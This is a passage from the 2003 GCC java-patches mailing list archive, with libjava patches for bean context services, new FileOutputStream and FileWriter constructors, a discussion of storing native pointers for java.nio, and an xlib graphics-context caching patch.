          + * + * If it has no valid service selectors, it should still return an empty + * Iterator. + * + * @param serviceClass the service class to get selectors for. + * @return a list of valid service selectors for the service + * class, or null. + */ + public Iterator getCurrentServiceSelectors (Class serviceClass); + + /** + * Tell whether the specified service class is available. + * Iff getService() could return a non-null value for the + * specified service, this method will return true. + * + * @param serviceClass the service class to check on. + * @return whether the specified service class is available. + */ + public boolean hasService (Class serviceClass); + + /** + * Add a listener on all adds and removes of services. + * @param listener the listener to add. + */ + public void + addBeanContextServicesListener (BeanContextServicesListener listener); + + /** + * Remove a listener on all adds and removes of services. + * @specnote it is not certain whether this should remove this + * listener if it was specified in + * getService(). + * @param listener the listener to add. + */ + public void + removeBeanContextServicesListener (BeanContextServicesListener listener); } Index: java/beans/beancontext/BeanContextServicesSupport.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/beancontext/BeanContextServicesSupport.java,v retrieving revision 1.1 diff -u -r1.1 BeanContextServicesSupport.java --- java/beans/beancontext/BeanContextServicesSupport.java 10 Mar 2003 14:33:47 -0000 1.1 +++ java/beans/beancontext/BeanContextServicesSupport.java 18 Mar 2003 18:15:34 -0000 @@ -131,12 +131,14 @@ this (peer, lcle, true, true); } - public BeanContextServicesSupport (BeanContextServices peer, Locale lcle, boolean dtime) + public BeanContextServicesSupport (BeanContextServices peer, Locale lcle, + boolean dtime) { this (peer, lcle, dtime, true); } - public BeanContextServicesSupport (BeanContextServices peer, Locale lcle, boolean dtime, boolean visible) + public BeanContextServicesSupport (BeanContextServices peer, Locale lcle, + boolean dtime, boolean visible) { throw new Error ("Not implemented"); } @@ -146,12 +148,14 @@ throw new Error ("Not implemented"); } - public boolean addService (Class serviceClass, BeanContextServiceProvider bcsp) + public boolean addService (Class serviceClass, BeanContextServiceProvider bcsp) { throw new Error ("Not implemented"); } - protected boolean addService (Class serviceClass, BeanContextServiceProvider bcsp, boolean fireEvent) + protected boolean addService (Class serviceClass, + BeanContextServiceProvider bcsp, + boolean fireEvent) { throw new Error ("Not implemented"); } @@ -167,22 +171,26 @@ { throw new Error ("Not implemented"); } - protected void childJustRemovedHook (Object child, BeanContextSupport.BCSChild bcsc) + + protected void childJustRemovedHook (Object child, + BeanContextSupport.BCSChild bcsc) { throw new Error ("Not implemented"); } - protected BeanContextSupport.BCSChild createBCSChild (Object targetChild, Object peer) + protected BeanContextSupport.BCSChild createBCSChild (Object targetChild, + Object peer) { throw new Error ("Not implemented"); } - protected BeanContextServicesSupport.BCSSServiceProvider createBCSSServiceProvider (Class sc, BeanContextServiceProvider bcsp) + protected BeanContextServicesSupport.BCSSServiceProvider + createBCSSServiceProvider (Class sc, BeanContextServiceProvider bcsp) { throw new Error ("Not implemented"); } - protected final void fireServiceAdded (BeanContextServiceAvailableEvent bcssae) + protected final void fireServiceAdded (BeanContextServiceAvailableEvent bcssae) { throw new Error ("Not implemented"); } @@ -192,12 +200,14 @@ throw new Error ("Not implemented"); } - protected final void fireServiceRevoked (BeanContextServiceRevokedEvent bcsre) + protected final void + fireServiceRevoked (BeanContextServiceRevokedEvent bcsre) { throw new Error ("Not implemented"); } - protected final void fireServiceRevoked (Class serviceClass, boolean revokeNow) + protected final void fireServiceRevoked (Class serviceClass, + boolean revokeNow) { throw new Error ("Not implemented"); } @@ -207,7 +217,8 @@ throw new Error ("Not implemented"); } - protected static final BeanContextServicesListener getChildBeanContextServicesListener (Object child) + protected static final BeanContextServicesListener + getChildBeanContextServicesListener (Object child) { throw new Error ("Not implemented"); } @@ -222,7 +233,9 @@ throw new Error ("Not implemented"); } - public Object getService (BeanContextChild child, Object requestor, Class serviceClass, Object serviceSelector, BeanContextServiceRevokedListener bcsrl) + public Object getService (BeanContextChild child, Object requestor, + Class serviceClass, Object serviceSelector, + BeanContextServiceRevokedListener bcsrl) throws TooManyListenersException { throw new Error ("Not implemented"); @@ -248,17 +261,20 @@ throw new Error ("Not implemented"); } - public void releaseService (BeanContextChild child, Object requestor, Object service) + public void releaseService (BeanContextChild child, Object requestor, + Object service) { throw new Error ("Not implemented"); } - public void removeBeanContextServicesListener (BeanContextServicesListener bcsl) + public void + removeBeanContextServicesListener (BeanContextServicesListener bcsl) { throw new Error ("Not implemented"); } - public void revokeService (Class serviceClass, BeanContextServiceProvider bcsp, boolean revokeCurrentServicesNow) + public void revokeService (Class serviceClass, BeanContextServiceProvider bcsp, + boolean revokeCurrentServicesNow) { throw new Error ("Not implemented"); } --Boundary-00=_cL2d+Pz+uWS0qTv-- From java-patches-return-6532-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 19 12:16:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10019 invoked by alias); 19 Mar 2003 12:16:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10003 invoked from network); 19 Mar 2003 12:16:48 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by sources.redhat.com with SMTP; 19 Mar 2003 12:16:48 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-75-060.ewetel.net [80.228.75.60]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2JCGkjL018809 for ; Wed, 19 Mar 2003 13:16:47 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vcTn-0003xy-00 for ; Wed, 19 Mar 2003 13:15:35 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.lang.Process Date: Wed, 19 Mar 2003 13:16:07 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_H+Fe+O4VtqoiKJc" Message-Id: <200303191316.08117.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_H+Fe+O4VtqoiKJc Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to merge java.lang.Process completely=20 with classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+eF+IWSOgCCdjSDsRAqaoAKCLf514pgB8wkL1EGL/SpPPdSOs0ACgimd3 ugGdoHoRN7dbrIWdetlXuv0=3D =3DbxWD =2D----END PGP SIGNATURE----- --Boundary-00=_H+Fe+O4VtqoiKJc Content-Type: text/x-diff; charset="iso-8859-15"; name="lang.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="lang.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1789 diff -u -r1.1789 ChangeLog --- ChangeLog 18 Mar 2003 18:16:53 -0000 1.1789 +++ ChangeLog 19 Mar 2003 12:13:24 -0000 @@ -1,3 +1,10 @@ +2003-03-19 Michael Koch + + * java/io/FileOutputStream.java + (FileOutputStream): New constructor, merged from classpath. + * java/io/FileWriter.java + (FileWriter): New constructor, merged from classpath. + 2003-03-18 Michael Koch * java/awt/ScrollPane.java Index: java/io/FileOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileOutputStream.java,v retrieving revision 1.5 diff -u -r1.5 FileOutputStream.java --- java/io/FileOutputStream.java 20 Nov 2002 16:19:05 -0000 1.5 +++ java/io/FileOutputStream.java 19 Mar 2003 12:13:24 -0000 @@ -47,6 +47,32 @@ this (file.getPath(), false); } + /** + * This method initializes a FileOutputStream object to write + * to the specified File object. The file is created if it + * does not exist, and the bytes written are written starting at the + * beginning of the file if the append parameter is + * false. Otherwise bytes are written at the end of the + * file. + *

          + * Before opening a file, a security check is performed by calling the + * checkWrite method of the SecurityManager (if + * one exists) with the name of the file to be opened. An exception is + * thrown if writing is not allowed. + * + * @param file The File object this stream should write to + * @param append true to append bytes to the end of the file, + * or false to write bytes to the beginning + * + * @exception SecurityException If write access to the file is not allowed + * @exception FileNotFoundException If a non-security error occurs + */ + public + FileOutputStream(File file, boolean append) throws FileNotFoundException + { + this(file.getPath(), append); + } + public FileOutputStream (FileDescriptor fdObj) throws SecurityException { Index: java/io/FileWriter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileWriter.java,v retrieving revision 1.6 diff -u -r1.6 FileWriter.java --- java/io/FileWriter.java 18 Mar 2003 06:00:25 -0000 1.6 +++ java/io/FileWriter.java 19 Mar 2003 12:13:24 -0000 @@ -1,5 +1,5 @@ /* FileWriter.java -- Convenience class for writing to files. - Copyright (C) 1998, 1999, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -73,6 +73,25 @@ public FileWriter(File file) throws SecurityException, IOException { super(new FileOutputStream(file)); + } + + /*************************************************************************/ + + /** + * This method initializes a new FileWriter object to write + * to the specified File object. + * + * @param file The File object to write to. + * @param append true to start adding data at the end of the + * file, false otherwise. + * + * @param SecurityException If writing to this file is forbidden by the + * SecurityManager. + * @param IOException If any other error occurs + */ + public FileWriter(File file, boolean append) throws IOException + { + super(new FileOutputStream(file, append)); } /*************************************************************************/ --Boundary-00=_H+Fe+O4VtqoiKJc-- From java-patches-return-6533-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 19 12:16:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10024 invoked by alias); 19 Mar 2003 12:16:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10004 invoked from network); 19 Mar 2003 12:16:49 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by sources.redhat.com with SMTP; 19 Mar 2003 12:16:49 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-75-060.ewetel.net [80.228.75.60]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2JCGkjL018810 for ; Wed, 19 Mar 2003 13:16:47 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vcTn-0003xy-01 for ; Wed, 19 Mar 2003 13:15:35 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io Date: Wed, 19 Mar 2003 13:17:41 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_l/Fe+KGlUQL46GG" Message-Id: <200303191317.42055.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_l/Fe+KGlUQL46GG Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to fully merge java.io.FileWriter with=20 classpath. This needed a new method in java.io.FileOutputStream. I=20 merged this method from classpath too. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+eF/mWSOgCCdjSDsRAt/ZAJ94KQos5ERWegWwHYT2ZD8+meA1wQCeNfat C/nTcjVktEiqaF7DfvvqAIw=3D =3DzKiE =2D----END PGP SIGNATURE----- --Boundary-00=_l/Fe+KGlUQL46GG Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1789 diff -u -r1.1789 ChangeLog --- ChangeLog 18 Mar 2003 18:16:53 -0000 1.1789 +++ ChangeLog 19 Mar 2003 12:13:11 -0000 @@ -1,3 +1,10 @@ +2003-03-19 Michael Koch + + * java/io/FileOutputStream.java + (FileOutputStream): New constructor, merged from classpath. + * java/io/FileWriter.java + (FileWriter): New constructor, merged from classpath. + 2003-03-18 Michael Koch * java/awt/ScrollPane.java Index: java/io/FileOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileOutputStream.java,v retrieving revision 1.5 diff -u -r1.5 FileOutputStream.java --- java/io/FileOutputStream.java 20 Nov 2002 16:19:05 -0000 1.5 +++ java/io/FileOutputStream.java 19 Mar 2003 12:13:11 -0000 @@ -47,6 +47,32 @@ this (file.getPath(), false); } + /** + * This method initializes a FileOutputStream object to write + * to the specified File object. The file is created if it + * does not exist, and the bytes written are written starting at the + * beginning of the file if the append parameter is + * false. Otherwise bytes are written at the end of the + * file. + *

          + * Before opening a file, a security check is performed by calling the + * checkWrite method of the SecurityManager (if + * one exists) with the name of the file to be opened. An exception is + * thrown if writing is not allowed. + * + * @param file The File object this stream should write to + * @param append true to append bytes to the end of the file, + * or false to write bytes to the beginning + * + * @exception SecurityException If write access to the file is not allowed + * @exception FileNotFoundException If a non-security error occurs + */ + public + FileOutputStream(File file, boolean append) throws FileNotFoundException + { + this(file.getPath(), append); + } + public FileOutputStream (FileDescriptor fdObj) throws SecurityException { Index: java/io/FileWriter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileWriter.java,v retrieving revision 1.6 diff -u -r1.6 FileWriter.java --- java/io/FileWriter.java 18 Mar 2003 06:00:25 -0000 1.6 +++ java/io/FileWriter.java 19 Mar 2003 12:13:11 -0000 @@ -1,5 +1,5 @@ /* FileWriter.java -- Convenience class for writing to files. - Copyright (C) 1998, 1999, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -73,6 +73,25 @@ public FileWriter(File file) throws SecurityException, IOException { super(new FileOutputStream(file)); + } + + /*************************************************************************/ + + /** + * This method initializes a new FileWriter object to write + * to the specified File object. + * + * @param file The File object to write to. + * @param append true to start adding data at the end of the + * file, false otherwise. + * + * @param SecurityException If writing to this file is forbidden by the + * SecurityManager. + * @param IOException If any other error occurs + */ + public FileWriter(File file, boolean append) throws IOException + { + super(new FileOutputStream(file, append)); } /*************************************************************************/ --Boundary-00=_l/Fe+KGlUQL46GG-- From java-patches-return-6534-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 19 12:19:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27956 invoked by alias); 19 Mar 2003 12:19:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27944 invoked from network); 19 Mar 2003 12:19:50 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.46) by sources.redhat.com with SMTP; 19 Mar 2003 12:19:50 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 19 Mar 2003 04:19:50 -0800 Received: from 148.87.1.171 by OE53.law14.internal.hotmail.com with DAV; Wed, 19 Mar 2003 12:19:49 +0000 X-Originating-IP: [148.87.1.171] X-Originating-Email: [rmathew4lists@hotmail.com] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: "Michael Koch" , References: <200303191316.08117.konqueror@gmx.de> Subject: Re: Patch: java.lang.Process Date: Wed, 19 Mar 2003 17:51:22 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 19 Mar 2003 12:19:50.0198 (UTC) FILETIME=[D698AD60:01C2EE11] This contains the same patch as the previous java.io patch. :-P Ranjit. ----- Original Message ----- From: "Michael Koch" To: Sent: Wednesday, March 19, 2003 5:46 PM Subject: FYI: Patch: java.lang.Process -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to merge java.lang.Process completely with classpath. Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+eF+IWSOgCCdjSDsRAqaoAKCLf514pgB8wkL1EGL/SpPPdSOs0ACgimd3 ugGdoHoRN7dbrIWdetlXuv0= =bxWD -----END PGP SIGNATURE----- From java-patches-return-6535-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 19 12:54:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1818 invoked by alias); 19 Mar 2003 12:54:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1708 invoked from network); 19 Mar 2003 12:54:10 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by sources.redhat.com with SMTP; 19 Mar 2003 12:54:10 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-80-018.ewetel.net [80.228.80.18]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2JCs8jL002929; Wed, 19 Mar 2003 13:54:09 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vd3x-00040C-00; Wed, 19 Mar 2003 13:52:57 +0100 From: Michael Koch To: "Ranjit Mathew" , "Ranjit Mathew" , Subject: Re: Patch: java.lang.Process Date: Wed, 19 Mar 2003 13:55:05 +0100 User-Agent: KMail/1.5 References: <200303191316.08117.konqueror@gmx.de> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303191355.06705.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Mittwoch, 19. M=E4rz 2003 13:21 schrieb Ranjit Mathew: > This contains the same patch as the previous java.io patch. :-P Aaargh, you are rigth. It added the year 2003 to the copyright text=20 and fixed a typo "interrups" =3D> "interrupts". Nothing else. Michael =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+eGiqWSOgCCdjSDsRAvAmAJ4/1FnKUYhDnD/Bej3UtLhg0iBbSACgmyOK TXf5ycoinNVNJUzSQ7FR9q4=3D =3DfpUy =2D----END PGP SIGNATURE----- From java-patches-return-6536-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 19 15:25:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10101 invoked by alias); 19 Mar 2003 15:25:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10046 invoked from network); 19 Mar 2003 15:25:18 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 19 Mar 2003 15:25:18 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-75-052.ewetel.net [80.228.75.52]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2JFPH8G020757 for ; Wed, 19 Mar 2003 16:25:17 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vfQC-0004A0-00 for ; Wed, 19 Mar 2003 16:24:04 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Advice for storing pointers Date: Wed, 19 Mar 2003 16:26:05 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303191626.05364.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, Currently I think about the storing of pointers (needed for the native=20 buffers in java.nio). We have two possibilities: 1) gnu.gcj.RawData (unfortunately not existing in classpath) 2) long What is the preferred way to store pointers in java datatypes ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+eIwNWSOgCCdjSDsRAu9UAJ91dcViD+sa3P3QYmbtYE4AZObvXACgmdSj 0RM9D50/Jo9iZvCYaixoiCg=3D =3DuNQG =2D----END PGP SIGNATURE----- From java-patches-return-6537-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 19 21:38:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32035 invoked by alias); 19 Mar 2003 21:38:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31944 invoked from network); 19 Mar 2003 21:38:45 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 19 Mar 2003 21:38:45 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA08543; Wed, 19 Mar 2003 14:38:44 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 3AA094F8057; Wed, 19 Mar 2003 14:34:04 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: Advice for storing pointers References: <200303191626.05364.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: CONGRATULATIONS! Now should I make thinly veiled comments about DIGNITY, self-esteem and finding TRUE FUN in your RIGHT VENTRICLE?? Date: 19 Mar 2003 14:34:04 -0700 In-Reply-To: <200303191626.05364.konqueror@gmx.de> Message-ID: <87he9zxcqb.fsf@fleche.redhat.com> Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Currently I think about the storing of pointers (needed for Michael> the native buffers in java.nio). Michael> We have two possibilities: Michael> 1) gnu.gcj.RawData (unfortunately not existing in classpath) Michael> 2) long Michael> What is the preferred way to store pointers in java datatypes ? For libgcj, RawData is preferred. For Classpath, I don't think there is a standard. In some cases, like the AWT peers, the pointers are stored in a lookaside hash table (which has a number of problems...). One idea would be to use long and then change that to RawData in libgcj and mark it appropriately ("// GCJ LOCAL: explanation") so that we don't merge it by accident. Tom From java-patches-return-6538-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 19 23:35:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28916 invoked by alias); 19 Mar 2003 23:35:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28842 invoked from network); 19 Mar 2003 23:35:20 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by sources.redhat.com with SMTP; 19 Mar 2003 23:35:20 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id 5CDB15F839 for ; Wed, 19 Mar 2003 18:40:50 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Wed, 19 Mar 2003 18:31:50 -0500 Message-ID: <00da01c2ee6f$acac9fd0$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Subject: PATCH: xlib GC cache Date: Wed, 19 Mar 2003 18:31:32 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00D7_01C2EE45.C3C8DC30" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 This is a multi-part message in MIME format. ------=_NextPart_000_00D7_01C2EE45.C3C8DC30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit This patch caches xlib graphics contexts, to reduce the number of XCreateGC/XFreeGC calls, especially in applications with lots of lightweight components, and reduce the number of GCs simultaneously open in the X server. I ran a small, strange application (attached) to test it. Performance is noticably better with the change. I initially tackled this because my system has a bug wherein XFree86 crashes (segv in CopyGC) if you do a lot of XCreateGC/XCopyGC/XFreeGC operations with real time extensions (RTAI) loaded. The cache reduces the frequency of the crash, but doesn't eliminate it (the real problem is either in XFree86 or RTAI). I also used xmon to verify that the right X protocol operations were happening. With the patch, when you dispose a GC, it doesn't free any X server resources. Instead, the GC is cached in a list associated with the GC's target. When you subsequently create or clone another GC on the same drawable (which happens every paint), the operation gets the GC from the cache instead of creating a new one. The cached GCs aren't freed until you finalize the target Drawable. The number of GCs created for each heavyweight is equal to the depth of the lightweight component hierarchy under that heavyweight (typically only 2 or 3), instead of being equal to the number of components contained in the heavyweight (can be a hundred or so). The number of XCopyGC operations is not reduced by this patch, because they are necessary to allow components to inherit their parents' properties. Patch is attached. Index: libjava/ChangeLog from Scott Gilbertson * libjava/gnu/awt/xlib/XGraphics.java gcc/libjava/gnu/awt/xlib/XGraphics.java (constructor): use new GC.create (dispose): null metrics * libjava/gnu/awt/xlib/XToolkit.java gcc/libjava/gnu/awt/xlib/XToolkit.java (sync): implement, with a FIXME * libjava/gnu/gcj/xlib/Clip.java gcc/libjava/gnu/gcj/xlib/Clip.java (dispose): change name of native from finalize (finalize): call dispose * libjava/gnu/gcj/xlib/Drawable.java gcc/libjava/gnu/gcj/xlib/Drawable.java (gcCache): new field (gcCachedCount): new field (finalize): new method (putGCInCache): new method (getGCFromCache): new method * libjava/gnu/gcj/xlib/GC.java gcc/libjava/gnu/gcj/xlib/GC.java (constructor): make protected (clone): get new GC from cache if possible (create): new static method (dispose): save old GC in cache * libjava/gnu/gcj/xlib/natClip.cc gcc/libjava/gnu/gcj/xlib/natClip.cc (dispose): check for null before deleting * libjava/gnu/gcj/xlib/natGC.cc gcc/libjava/gnu/gcj/xlib/natGC.cc (initStructure): call XCreateGC only if gc is null * libjava/gnu/gcj/xlib/Pixmap.java gcc/libjava/gnu/gcj/xlib/Pixmap.java (constructor): use new GC.create * libjava/java/awt/Container.java gcc/libjava/java/awt/Container.java (visitChild): dispose gfx2 when finished ------=_NextPart_000_00D7_01C2EE45.C3C8DC30 Content-Type: application/octet-stream; name="20030319_XlibGcCache.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="20030319_XlibGcCache.patch" diff -r -up gcc.patched/libjava/gnu/awt/xlib/XGraphics.java = gcc/libjava/gnu/awt/xlib/XGraphics.java=0A= --- gcc.patched/libjava/gnu/awt/xlib/XGraphics.java 2003-02-03 = 12:56:08.000000000 -0500=0A= +++ gcc/libjava/gnu/awt/xlib/XGraphics.java 2003-03-19 = 17:10:14.000000000 -0500=0A= @@ -58,16 +58,17 @@ public class XGraphics implements Clonea=0A= context =3D null;=0A= config =3D null;=0A= clipBounds =3D null;=0A= + metrics =3D null;=0A= =0A= if (lContext !=3D null)=0A= - {=0A= - lContext.dispose();=0A= - } =0A= + {=0A= + lContext.dispose();=0A= + } =0A= }=0A= =0A= public XGraphics(Drawable drawable, XGraphicsConfiguration config)=0A= {=0A= - context =3D new GC(drawable);=0A= + context =3D GC.create(drawable);=0A= this.config =3D config;=0A= } =0A= =0A= diff -r -up gcc.patched/libjava/gnu/awt/xlib/XToolkit.java = gcc/libjava/gnu/awt/xlib/XToolkit.java=0A= --- gcc.patched/libjava/gnu/awt/xlib/XToolkit.java 2003-02-03 = 12:56:08.000000000 -0500=0A= +++ gcc/libjava/gnu/awt/xlib/XToolkit.java 2003-03-13 15:26:05.000000000 = -0500=0A= @@ -188,7 +188,10 @@ public class XToolkit extends Toolkit=0A= =0A= public void sync()=0A= {=0A= - throw new UnsupportedOperationException("not implemented yet");=0A= + flushIfIdle ();=0A= + // FIXME: should instead wait for eventLoop to go idle=0A= + // (perhaps send a dummy event there and block till it makes=0A= + // it through the queue)=0A= }=0A= =0A= public Image getImage(String filename)=0A= diff -r -up gcc.patched/libjava/gnu/gcj/xlib/Clip.java = gcc/libjava/gnu/gcj/xlib/Clip.java=0A= --- gcc.patched/libjava/gnu/gcj/xlib/Clip.java 2003-02-03 = 12:56:08.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/Clip.java 2003-03-10 16:06:34.000000000 = -0500=0A= @@ -29,7 +29,12 @@ final class Clip=0A= =0A= private native void init(Rectangle[] rects);=0A= =0A= - public native void finalize();=0A= + public void finalize()=0A= + {=0A= + dispose ();=0A= + }=0A= + =0A= + public native void dispose();=0A= =0A= RawData xrects;=0A= }=0A= diff -r -up gcc.patched/libjava/gnu/gcj/xlib/Drawable.java = gcc/libjava/gnu/gcj/xlib/Drawable.java=0A= --- gcc.patched/libjava/gnu/gcj/xlib/Drawable.java 2003-02-03 = 12:56:08.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/Drawable.java 2003-03-19 